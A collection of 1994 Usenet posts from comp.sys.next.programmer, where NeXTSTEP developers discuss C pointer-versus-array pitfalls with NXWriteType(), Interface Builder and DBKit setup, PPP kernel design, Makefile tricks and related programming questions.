Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Need info on "NodeCommand" in bundle.registry!!! Message-ID: <1994Jan4.163600.5751@planon.qc.ca> Sender: laurent@planon.qc.ca Date: Tue, 4 Jan 1994 16:36:00 GMT Hi! I think the title says it all: I'm looking for some information on the declaration "{type=NodeCommand; extension=source; action="openAsFolder:"; class=WMFBViewer; nodep=isFileNode; priority=1 }". There is information on the declaration "{type=InspectorCommand; mode=contents; extension=source; selp=selectionOneOnly; class=FBInspector}", which is used to register a custom inspector in the Workspace Manager, but, there is nothing on the first one. I'm trying to do something like the addresse.bundle do, when you double-click on a ".addresse" file. The workspace open a new file window. Am I missing something, or what? Is this information classified by NeXT? Thanks in advance for any help, pointer, info!!! Laurent. -- ****************************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: IB Dragging question Message-ID: <1994Jan4.183058.14119@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2gbl6e$cp@steffi.demon.co.uk> Date: Tue, 4 Jan 1994 18:30:58 GMT In article <2gbl6e$cp@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >>Does anybody know what "machinery" IB is using when you can drag an >>Image over a Button? >> To my knowledge, this is being done by the Button's IBEditor. >> >>At Expo, I saw some guy demonstrating a palette which allowed >>"real-time" drag and dropping of images over his View subclass. He also >>had "real-time" rotating of the image. >> huh. I wish you could remember who it was. I do tons of drag and drop inside of IB, and I even do a bit of it using IBEditors, but I was convinced that the API wasn't really there to do the IBEditor stuff for a subclass of View - only subclasses of Object. In short, I put all my drag and drop stuff on a given object's IBInspector or IBEditor. For example, my WWTCLWidgets palette (should be released tommorrow - watch this space) has a simple image view. One of the things you can do with the simple image view is have images on it. It would be nice if you could drag and drop directly from the Image suitcase onto the view, but I just stuck a little text field that has filename dragging on it on the inspector. (Ya know, I just realized that I didn't allow draggin from the image suitcase, only the filesystem... Hmmm.. maybe I should fix that.) Anyway, I'm 99% sure that you need to be brushing up on your IBEditor skills if you want to do drag and drop directly to the object in IB outside of test interface mode. Probably the best tutorial on this stuff is the new TTools mini-example. Hope that helps. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: Re: NXWriteType() bug? Date: Tue, 4 Jan 1994 14:20:25 -0500 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <Mh_Q5tK00iV1Q2sV57@andrew.cmu.edu> In-Reply-To: <2gcc0t$kv1@nic.lth.se> >Could it be thet the compiler produces { 'f', 'o', 'o' } on the first >case, and { 'f', 'o', 'o', '\0' } in the second case -- ie, the string >is null-terminated only when declared as char *foo ? NXWriteType, >expecting a null-terminated string, then falls past the end of foo[] >in the first example, resulting in the segmentation fault mentioned. > >I think that's it. No, this isn't the case, according to K&R, both foo[] and *foo have the null character, '\0' at the end one looks like this: *foo []---->["The text that you want\0"] and the other one looks like this: foo[] ["The text that you want\0"] Tom. tm31@andrew.cmu.edu [NeXTmail welcome]
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: michal@phys.ualberta.ca (Michal Jaegermann) Subject: Re: NXWriteType() bug? Message-ID: <1994Jan4.200150.13732@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: Department of Physics, University of Alberta References: <2gcc0t$kv1@nic.lth.se> Date: Tue, 4 Jan 1994 20:01:50 GMT e91tl@efd.lth.se (Tomas Liedman) writes: : In article <2gc4fp$e8p@geraldo.cc.utexas.edu> dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes (paraphrased): : > : >This program: : > : >main () : >{ : > NXTypedStream *stream; : > char foo[] = "foo"; // NOTICE THIS LINE - segmentation fault : > // char *foo = "foo"; // It is ok with this line instead : > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); : > NXWriteType (stream, "*", &foo); : > NXCloseTypedStream (stream); : >} : > : >Any thoughts? : : Could it be thet the compiler produces { 'f', 'o', 'o' } on the first : case, and { 'f', 'o', 'o', '\0' } in the second case -- ie, the string : is null-terminated only when declared as char *foo ? No, this is not the case. It is easy to check that sizeof of array foo is four in the first case and foo[3] = '\0', like it should. The problem is that declarations 'char foo[] = "foo";' and 'char *foo = "foo";' are not at all equivalent accordingly to a definition of C - UNLESS passed as arguments to a function. You may blame C designers for that often occuring confusion, especially that in many context you may indeed use one or another declaration of foo without any ill effects. A quick session with gdb shows what is going on. In the first case, i.e. 'char foo[] = "foo";' you will see: (gdb) p foo $1 = {"foo\000"} (gdb) p &foo $2 = (char (*)[4]) 0x3fffd60 "foo" and for the other one: (gdb) p foo $1 = 0x3ff0 "foo" (gdb) p &foo $2 = (char **) 0x3fffd60 From a trace it looks like that _NXEncodeString() is not willing to accept as a pointer to a string a pointer to something totally different. :-) Adding 'char *bar = foo;' and passing &bar to NXWriteType() makes this code working again. Please notice also another, often overlooked, difference between two different kinds of foo. You may write into an array of characters, but constant strings, accrodingly with ANSI Standard, are not writable. gcc allows you to hack around this limitation with -fwriteable-strings, but a code generated and its memory layout will be different. Michal Jaegermann michal@gortel.phys.ualberta.ca
From: jeske@ux4.cso.uiuc.edu (David Jeske) Newsgroups: comp.sys.next.programmer Subject: Need help with Oracle and DBkit Date: 4 Jan 1994 20:08:10 GMT Organization: University of Illinois at Urbana Message-ID: <2gciba$dgv@vixen.cso.uiuc.edu> I'm looking for someone familiar with connecting to Oracle with DBkit. I have been working with DBKit and Sybase for over a year now and I have recently been working on some stuff with Oracle, with no luck. I'm working with people who are fimilar with Oracle but not with NeXT, and I have not even been able to connect to the Oracle server to start DBModler How does the oracle account need to be set up for this to work right? (I have an ops$ account which has been granted connect priveledges, I don't know if the ops$ thing is a oracle specific accoutn type, or just a location specific thing. ) What strings does one need in the login panel, and are there any configuration files like the /usr/sybase/interfaces file? -- David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer CoCreator of the GTalk Chat Software System - online at (708)998-0008 Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu
Newsgroups: comp.sys.next.programmer From: tyler@vanguard.com (Tyler Gingrich) Subject: Re: Beginner Question with DBKit and gdbmAdaptor Message-ID: <1994Jan4.192908.1903@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Jan4.153640.3611@weston.com> Date: Tue, 4 Jan 1994 19:29:08 GMT Wes Spears writes > I have successfully built a model using this adaptor and DBModule. But, > when I go into IB and try to actually do any thing, nothing shows up in > the DBModule browser. > You need to place your model in one of the "Magic Locations" where IB looks for models. ~Library/Databases /LocalLibrary/Databases /NextLibrary/Databases Remember to quit & restart IB anytime you change your model (since all models are only "parsed" during IB launch). Tyler Gingrich tyler@dbkit.com Vanguard Software, Corp. Disclaimer: Nothing in this post should be attributed to Swiss Bank or Vanguard Software.
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: Re: NXWriteType() bug? Date: 4 Jan 1994 21:13:20 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2gcm5g$5c5@usenet.rpi.edu> References: <2gc4fp$e8p@geraldo.cc.utexas.edu> dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes: > > This program: > > main () > { > NXTypedStream *stream; > char foo[] = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); > } > > generates a segmentation fault, while this program > > main () > { > NXTypedStream *stream; > char *foo = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); > } > > does not. > > Any thoughts? I believe you are busily noticing the wrong line. You need to also notice this line: NXWriteType (stream, "*", &foo); Now think about what you are asking the compiler to do in both cases. In the first case, you have an array, and you're sending the address of that array to NXWriteType. In the second case you have a pointer to an array, and you're sending the address of that *pointer* to NXWriteType. One extra level of indirection. Many C books talk about how an array of char and a pointer to a character string are the same thing. They are in some ways, but you have to pay attention when passing them as parameters, particularly when playing around with "&" to get the address of "something" (either of the characters themselves, or of a pointer to the characters, which is what NXWriteType really wants you to be sending it). This is not a bug in NXWriteType(). -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer Subject: Re: PPP 2.0 removed 'vjmode' option! Date: 4 Jan 1994 16:32:30 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2gc5mu$8cn@enst.enst.fr> References: <1993Dec31.070742.5321@icaen.uiowa.edu> <1994Jan2.092256.14371@atlantis.uucp> <2g6m7o$ru0@nic.lth.se> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In article <2g6m7o$ru0@nic.lth.se>, d89cb@efd.lth.se (Christian Brunschen) writes: >While this may be so, the NeXT-kernel-specific stuff really isn't so >daunting if you just take your time to read the docs about writing a >loadable kernel server -- in particular the section about Network >modules. No comment. I haven't yet had a chance to do that... >The "output" side should be no big deal -- the ppp-server gets called >when a packet is to be transmitted. No, the problem is: How the heck >can I get the kernel to cal the ppp-server when there is an incoming >character on the serial line? In the next-ppp-0.2 source that's on >merit.edu, there is a call to tty_ld_install -- ie, the author uses a >specific line discipline (basically, I think, you specify a callback >function to execute whenever a character is received on the line). But >in NS3.2 (moto) >**_there_is_no_apparent_support_for_user_written_line_disciplines_!** I don't think you really need this... you just need to have a sort of (half) "loop-back" network interface that sends out-going (ie. network bound) packets up to a user process, and that the user process can send incoming packets down to the kernel to demultiplex... OK, so we have a couple of context switches... big deal. It means the protocol handling, network management (SNMP), access control, dialing, etc. can all be done in the user space in a flexible program. And that the program can handle dial-on-demand, as well as share a modem with other programs, such as a fax-server. >This means that I am not quite certain how to handle this -- a kernel >server must never sleep, so using a blocking read() call is out of the >question. Of course, non-blocking won't help much since that means I'd >have to busy-wait, which also stinks. Mayde a separate user-level >process that sends mach messages to the ppp server ... ? (Actually, >this sorta sounds workable, in a kludgy way.) I wonder how other Well, it isn't really more of a kludge than the PTY was, and look how essential those have become! Only difference is, there is only the "slave" side of the network interface. >BTW, I'm in no way a kernel hacker, and I don't really know a lot >about writing this type of software. And I haven't hacked kernels in a while... and never a NeXT. At least, not yet. -Philip
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: NXWriteType() bug? Message-ID: <2gca8l$4pg@amber.hasc.ca> Sender: news@sifon.cc.mcgill.ca Organization: The Hutchison Avenue Software Corp. References: <2gc4fp$e8p@geraldo.cc.utexas.edu> Date: Tue, 4 Jan 1994 17:50:13 GMT In article <2gc4fp$e8p@geraldo.cc.utexas.edu> dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes: > > char foo[] = "foo"; // NOTICE THIS LINE >generates a segmentation fault, while this program > char *foo = "foo"; // NOTICE THIS LINE > NXWriteType (stream, "*", &foo); > >does not. Arrays are not strings are not arrays although the C syntax in most cases allows us to use them interchangeably. You supplied the "*" type, which is a character string, when you should have used the array type "[4c]" I think... Remember that when you read these things back, you'll get your string pointer set to a new string, but the array should be allocated, and will be filled with what you wrote out. Anyway, that's my understanding of how it works, but I haven't done these things for a while, so I might be wrong... - darcy -- If it's dark when you leave the office and there's snow on the ground, you're in winter. If it's dark when you get up [...] you're in winter. This is not magical, this is not a wonderland; This is snow, ice and sunlight deprivation. Mon pays c'est shitty weather you can't see. -- Montreal Mirror (Qc. Winter)
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: RTF filter Message-ID: <2gcb26$4s6@amber.hasc.ca> Keywords: rtf filter ascii Sender: news@sifon.cc.mcgill.ca Organization: The Hutchison Avenue Software Corp. References: <1994Jan3.231422.26710@il.us.swissbank.com> Date: Tue, 4 Jan 1994 18:03:50 GMT In article <1994Jan3.231422.26710@il.us.swissbank.com> beaver@il.us.swissbank.com (Jason Beaver) writes: >I've seen an RTF to ascii filter somewhere but I can't remember where. /usr/bin/rtf-ascii - darcy -- If it's dark when you leave the office and there's snow on the ground, you're in winter. If it's dark when you get up [...] you're in winter. This is not magical, this is not a wonderland; This is snow, ice and sunlight deprivation. Mon pays c'est shitty weather you can't see. -- Montreal Mirror (Qc. Winter)
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Donating objects to GNU Message-ID: <2gcbbd$4u1@amber.hasc.ca> Sender: news@sifon.cc.mcgill.ca Organization: The Hutchison Avenue Software Corp. Date: Tue, 4 Jan 1994 18:08:45 GMT Hello... I'm interested in donating a couple of ObjC objects to the GNU project. Does anyone know whom I should get in touch with on this? - darcy -- If it's dark when you leave the office and there's snow on the ground, you're in winter. If it's dark when you get up [...] you're in winter. This is not magical, this is not a wonderland; This is snow, ice and sunlight deprivation. Mon pays c'est shitty weather you can't see. -- Montreal Mirror (Qc. Winter)
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: Why am I having troubles with strncpy? -- SUMMARY Date: 4 Jan 1994 15:40:19 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401042140.AA07612@cantina.lanl.gov> I want to thank everyone for their comments on my coding. (As you might have guessed from my remark about "Fortran-like", I am somewhat new to C-programming.) I was apprised early on about strncpy not always providing a '\0'. The main lesson for me from this thread has been to pay closer attention to memory and use malloc. Or static, which I gather from subsequent postings can also lead to problems. Dick Silbar WhistleSoft, Inc.
From: alvin@cheddar.cse.ucsc.edu (Alvin Jee) Newsgroups: comp.sys.next.programmer Subject: Messaging to Terminal.app? Date: 4 Jan 1994 23:33:55 GMT Organization: University of California, Santa Cruz Message-ID: <2gcud3$bpl@darkstar.UCSC.EDU> Hello Netters! I would like to have my app open up a Terminal window when requested and run some shell command like 'ls' or something in the new Terminal window. ProjectBuilder does this when you hit the Debug button and it fires up gdb. Does anybody know how this is done? I could fire up a new Terminal.app everytime, but that's not very elegant. Thanks! -- Alvin Jee e-mail: alvin@cse.ucsc.edu NeXTMail gleefully accepted!
Newsgroups: comp.sys.next.programmer From: bau@cs.cornell.edu (David Bau) Subject: Stretching lines between windows like IB? Message-ID: <1994Jan4.232736.20867@cs.cornell.edu> Organization: Cornell Univ. CS Dept, Ithaca NY 14853 Date: Tue, 4 Jan 1994 23:27:36 GMT When making connections in IB by control-dragging, you get to drag a nice solid line between windows; as you drag the line over other windows, of course, it doesn't interfere with their contents. It's not obvious to me how this is done. Is the black line made up of little plain windows that get dragged around? Is there another way? Any suggestions on the best way to get this effect? David
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: NXWriteType() bug? Date: 4 Jan 94 17:35:00 Organization: Is a sign of weakness Message-ID: <SCOTT.94Jan4173500@nic.gac.edu> References: <2gc4fp$e8p@geraldo.cc.utexas.edu> In-reply-to: dave@truth.asg.arlut.utexas.edu's message of 4 Jan 1994 16:11:37 GMT In article <2gc4fp$e8p@geraldo.cc.utexas.edu>, dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes: >This program: > >main () >{ > NXTypedStream *stream; > char foo[] = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); >} > >generates a segmentation fault, while this program > >main () >{ > NXTypedStream *stream; > char *foo = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); >} > >does not. > >Any thoughts? That's a C problem. Note that the last parameter to NXWriteType() should be a pointer to the data you are writing - in this case a char ** (or, a pointer to a pointer to char). In the second case, you take a pointer to char and apply & to it - generating a pointer to a pointer to char. The important point is that there are two pieces of storage involved here, the char[] area that foo points to, and the char * area that &foo points to. But, in the first case, you have an array of char, and saying & at that generates a pointer to an array of char. There is only one area of storage, a char[]. Hmm. I've probably confused you more than helped. Here's a sample program that demonstrates the problem: howard:/tmp> cat barf.c main () { char foo[] = "foo"; char *bar = "bar"; printf( "foo==%p\n", foo); printf( "&foo==%p\n", &foo); printf( "bar==%p\n", bar); printf( "&bar==%p\n", &bar); } howard:/tmp> barf foo==0x3fffc54 &foo==0x3fffc54 bar==0x3fd4 &bar==0x3fffc50 howard:/tmp> Explaination? bar is a char * variable that points at a char[]. So, when I say bar, the compiler is going to get the value _from_ bar and use that. But, foo _is_ a char[], so when I say foo, the compiler is going to replace my reference with the value of foo directly. It may be easier to see if you consider a simpler problem that's conceptually almost identical: #define foo 10 unsigned bar=10; In this case, &bar is a pointer to the storage for bar. But, &foo is nonsense. [Why &foo works when foo is a char[] is because in that case there _is_ storage involved, whereas in the #define case there's nothing to point to.] Later, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Questions about tool projects within a parent project. Date: 4 Jan 94 17:36:24 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Jan4173624@nic.gac.edu> Under NS3.2, it _appears_ that you can have a .tproj subproject within a parent project, which .tproj would build a commandline type "tool" and insert it into the parent project's wrapper. I'm currently (attempting) to write a Preferences module which controls a daemon that runs in the background. In the interests of having everything in one place, I'd like the daemon to be installed within the .preferences wrapper. If I call the module Foo, then I'd want something like: Foo.preferences/ Foo # The object code. Foo.tiff # Image for the module. Foobar.daemon # The daemon that the module controls. English.lproj/ Foo.nib # The interface for the module. The project looks like: Foo/ Foo.h # The class implementing the interface. Foo.m Foobar.tproj/ Foobar.m # The class implementing the daemon. PB.project English.lproj/ Foo.nib # The interface for the module. PB.project With other stuff in there, of course (like Makefiles). I've been having two problems. First, I cannot figure out how to make the Foobar.tproj generate a Foobar.daemon within the parent .preferences bundle. I _can_ make it generate a simple Foobar executable. I tried setting the name to Foobar.daemon under Attributes for Foobar.tproj, but though ProjectBuilder notes the name correctly, the makefiles don't appear to. I might end up having to write an after_install rule to do the renaming. The other problem is that when I do a 'make install' on the main project, it copies everything over to the destination, and then exits with an error: Make: Don't know how to make Foobar.strip. Stop. The first problem I could fix (by writing a new rule, as noted). The second problem would seem to be a _bit_ harder. I could easily handle stripping the binary - but if things exit with the error, I'm in trouble. I can write a Foobar.strip rule that doesn't do anything, but that's sort of a silly thing to do (don't you think?). [BTW, I managed to build something that "works" by adding the following to the main bundle's Makefile.postamble: Foobar.strip: @($(set_bundle_ext) ; \ bundle_dir_name_base=$(REL_BUNDLE_DIR:.bproj=) ; \ bundle_dir_name=$$bundle_dir_name_base.$$bundle_ext ; \ $(STRIP) $(APP_STRIP_OPTS) $(DSTROOT)$(INSTALLDIR)/$$bundle_dir_name/Foobar ; \ mv $(DSTROOT)$(INSTALLDIR)/$$bundle_dir_name/Foobar $(DSTROOT)$(INSTALLDIR)/$$bundle_dir_name/Foobar.daemon ) Hacky, to say the least ...] Thanks, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: NXWriteType() bug? Message-ID: <1994Jan4.223946.3614@afs.com> Sender: greg@afs.com References: <2gc4fp$e8p@geraldo.cc.utexas.edu> Date: Tue, 4 Jan 1994 22:39:46 GMT In article <2gc4fp$e8p@geraldo.cc.utexas.edu> dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes: > > This program: > > main () > { > NXTypedStream *stream; > char foo[] = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); > } > > generates a segmentation fault, while this program > > main () > { > NXTypedStream *stream; > char *foo = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); > } > > does not. > > Any thoughts? Yes. NXRead|WriteTypes() is not strcpy(). It cares whether you are passing a char pointer or the base pointer to a char array. The "*" format character implies that the address you pass belongs to a char pointer. (This has the nice side effect that when you read the data back in, enough space to hold the string contents is automatically allocated for you.) To archive the char array in the first example, you actually need a format of "[4c]". -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Message-ID: <1p%@byu.edu> Date: Thu, 30 Dec 93 10:32:24 MST From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II) Newsgroups: comp.sys.next.programmer Subject: Re: The man/man bug fix (Was: Can't access man pages ...) References: <9312301652.AA04974@cantina.lanl.gov> In article <9312301652.AA04974@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: > Malcolm's procedure actually caused me some problems. What WOULD have worked > better for me is > > cd /usr/man ==> mv man/man1/* man1 ^ did you forget this Dick? > rmdir man > rm whatis .index.store > ixbuild -fsv -LEnglish . > ==> /usr/lib/makewhatis . I also had to use the above procedure. On my machine, all of the gzip stuff got installed in /usr/man/man/man1/*. Note the two 'man's. (Why does that sound like a 2 year old learning plurals? ) Also, when executing makewhatis, /usr/lib wasn't in my root path either -- I wouldn't expect it to be. Paul M. Cardon NeXTSTEP and HP System Manager Math Dept. - Brigham Young University ----------------------------------------------- pmarc@zapotec.math.byu.edu (NeXTMail) or @laplace.math.byu.edu or @alaska.et.byu.edu or @darth.byu.edu (NeXTMail) or figure out how to get me to settle on just one machine. She was an acrobat's daughter. She swung by her teeth from a noose. But a one matinee -- Her bridgework gave way, And she flew through the air like a goose. - D. Duck in Daffy Doodles
From: kov@onyx.dartmouth.edu (Ken Overton) Newsgroups: comp.sys.next.programmer,comp.dsp Subject: downloading DSP code on a NeXT Date: 5 Jan 1994 02:36:50 GMT Organization: Dartmouth College, Hanover, NH, USA Message-ID: <2gd942$647@dartvax.dartmouth.edu> I'm more of a composer than a programmer, so I'm having troubles getting started with 56K assembly. Does anyone have C code to boot the DSP and then download *.lod files? I find it kinda sticky. Any code or suggestions are appreciated, kov@onyx.dartmouth.edu
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: moving the stack? Date: 4 Jan 1994 20:14:21 -0800 Message-ID: <2gdeqt$o2v@ursula.ee.pdx.edu> Summary: THREAD instead of UNIXTHREAD? I'm looking for advice on how I might move the stack to an absolute, uncomputed location. It would seem to require using a THREAD load command instead of a UNIX_THREAD. Is there any, linker support for this? If not, are there any utilities floating around that make this somewhat less of a hassle? regrads, Marcus Daniels
From: sirius@slate (Michael Lofquist) Newsgroups: comp.sys.next.programmer Subject: HOW TO DOCUMENT NIB FILES ?? Date: 5 Jan 1994 04:08:14 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2gdefe$bp@yarrina.connect.com.au> Keywords: NIB Hi We have a small problem. Developing NEXTSTEP applications for a client, and ofcourse as good software engineers we want to document our work. But how do we document our nib files ? As far as I know there is no published specification of the files in the nib directory, one is readable but the other is binary. How do we successfully document what is wired to what ?? Target actions, outlets, etc .... We have a copy of NibList application written for 2.0 It does not work with 3.2 . Anybody done a upgrade of it to 3.2 ? It also is not quite the format we are looking for. Anybody done anything else in this field. Any directions / help ?? Please email replies. Thanks Michael Lofquist SIRIUS Object Oriented Technologies Pty Ltd Australia email : sirius@xedoc.com.au
Newsgroups: comp.sys.next.programmer From: zunger@ucsu.Colorado.EDU (B. L. Z. Bub) Subject: Re: How Do I Untar A File? *.???.z Message-ID: <zunger.757742193@ucsu.Colorado.EDU> Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder References: <2966237727.6.p00378@psilink.com> Date: Wed, 5 Jan 1994 03:56:33 GMT "James Gaines" <p00378@psilink.com> writes: >Please don't flame me for such a trivial question. I am a friend of >James' and he is currently out of town and unable to anser my question. >For instance, someone sent me a file which needs to be 'uudecoded' and >un-TARred. I have sucessfully completed the uudecoding step. However, >on the NeXT black hardware, double-clicking on the file invokes a >decompression utility which simply does not work. >Sincerely, >Pamela This is easiest done from the Terminal. In a term window, enter the directory with the file in it: unpack <filename> will uncompress a .z'd file uncompress <filename> will uncompress a .Z'd file If the file is compressed otherwise (.gz, .zip, etc.) you'll need a custom utility. Once you have a .tar file, tar xf <filename> extracts a .tar archive. Good luck! -(yz)
Newsgroups: comp.sys.next.programmer From: zunger@ucsu.Colorado.EDU (B. L. Z. Bub) Subject: DES encryption and HI-ENDisms Message-ID: <zunger.757742401@ucsu.Colorado.EDU> Summary: Problem with encryption code Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder Date: Wed, 5 Jan 1994 04:00:01 GMT Maybe someone here can help... I'm using a DES encryption program (Yes, I know DES isn't secure. It's for compatibility with another program) on an m68k NeXT. The results have to be compatible with a program running on a DECstation. The problem: The m68k is a big-endian chip, while the DEC is based on a little-endian chip. Telling the code to compile for a little-endian architecture doesn't work, due to some undecipherable problem in the central code. Any ideas on how to get it to work? -(yz)
Newsgroups: comp.sys.next.programmer From: twasko@cuug.ab.ca (Tim Wasko 403-266-0900) Subject: Loadable Filesystems Sender: usenet@cuug.ab.ca Message-ID: <CJ4G1q.IoD@cuug.ab.ca> Date: Tue, 4 Jan 1994 20:10:37 GMT Organization: Calgary UNIX User's Group I am in need of information on writing loadable filesystem drivers like those found in /usr/filesystems. If anyone can point me in the right direction in writing one, it would be greatly appreciated. Regards, Tim
Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd) Subject: Re: moving the stack? Message-ID: <CJ54w6.MqB@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <2gdeqt$o2v@ursula.ee.pdx.edu> Date: Wed, 5 Jan 1994 05:07:17 GMT In article <2gdeqt$o2v@ursula.ee.pdx.edu> marcus@ursula.ee.pdx.edu (Marcus Daniels) writes: >I'm looking for advice on how I might move the stack to an >absolute, uncomputed location. It would seem to require using >a THREAD load command instead of a UNIX_THREAD. Is there any, >linker support for this? If not, are there any utilities floating >around that make this somewhat less of a hassle? Of course, this just begs the question: Why do you want to do this? hugely curious, -- :: Christopher Lloyd :: Yrrid Incorporated :: lloyd@world.std.com :: :: boy, don't we all look _smashing_ in red. ::
Control: cancel <CJ54w6.MqB@world.std.com> Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd) Subject: cmsg cancel <CJ54w6.MqB@world.std.com> Message-ID: <CJ57up.Fux@world.std.com> Sender: lloyd@world.std.com (Christopher Lloyd) Organization: The World Public Access UNIX, Brookline, MA References: <2gdeqt$o2v@ursula.ee.pdx.edu> <CJ54w6.MqB@world.std.com> Date: Wed, 5 Jan 1994 06:11:13 GMT <CJ54w6.MqB@world.std.com> was cancelled from within rn. -- :: Christopher Lloyd :: Yrrid Incorporated :: lloyd@world.std.com :: :: boy, don't we all look _smashing_ in red. ::
From: blanford@spf.trw.com (Ronald P. Blanford) Newsgroups: comp.sys.next.programmer Subject: Re: Need help with Oracle and DBkit Date: 5 Jan 1994 06:23:04 GMT Organization: TRW Systems Development Division Message-ID: <2gdmc8$5ug@deneva.sdd.trw.com> References: <2gciba$dgv@vixen.cso.uiuc.edu> David Jeske writes > > I'm looking for someone familiar with connecting to Oracle > with DBkit. I have been working with DBKit and Sybase for over > a year now and I have recently been working on some stuff with > Oracle, with no luck. > > I'm working with people who are fimilar with Oracle but not > with NeXT, and I have not even been able to connect to the > Oracle server to start DBModler > > How does the oracle account need to be set up for this to work > right? (I have an ops$ account which has been granted connect > priveledges, I don't know if the ops$ thing is a oracle > specific accoutn type, or just a location specific thing. ) > > What strings does one need in the login panel, and are there > any configuration files like the /usr/sybase/interfaces file? > > > -- > David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer > CoCreator of the GTalk Chat Software System - online at (708)998-0008 > Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu 1. You must have a service enabled in netinfo for dbkit to communicate with oracle: orasrv 1521/tcp 2. You must have the orasrv process running on the oracle server. For v6 you can run it directly. For v7 you use the tcpctl command to start it. 3. If you are using v7 you must run the catalog6.sql script to enable v6 compatibility mode. Dbkit hasn't been upgraded to v7. 4. The dbkit Oracle login panel needs the information you would normally provide on the command line when connecting interactively 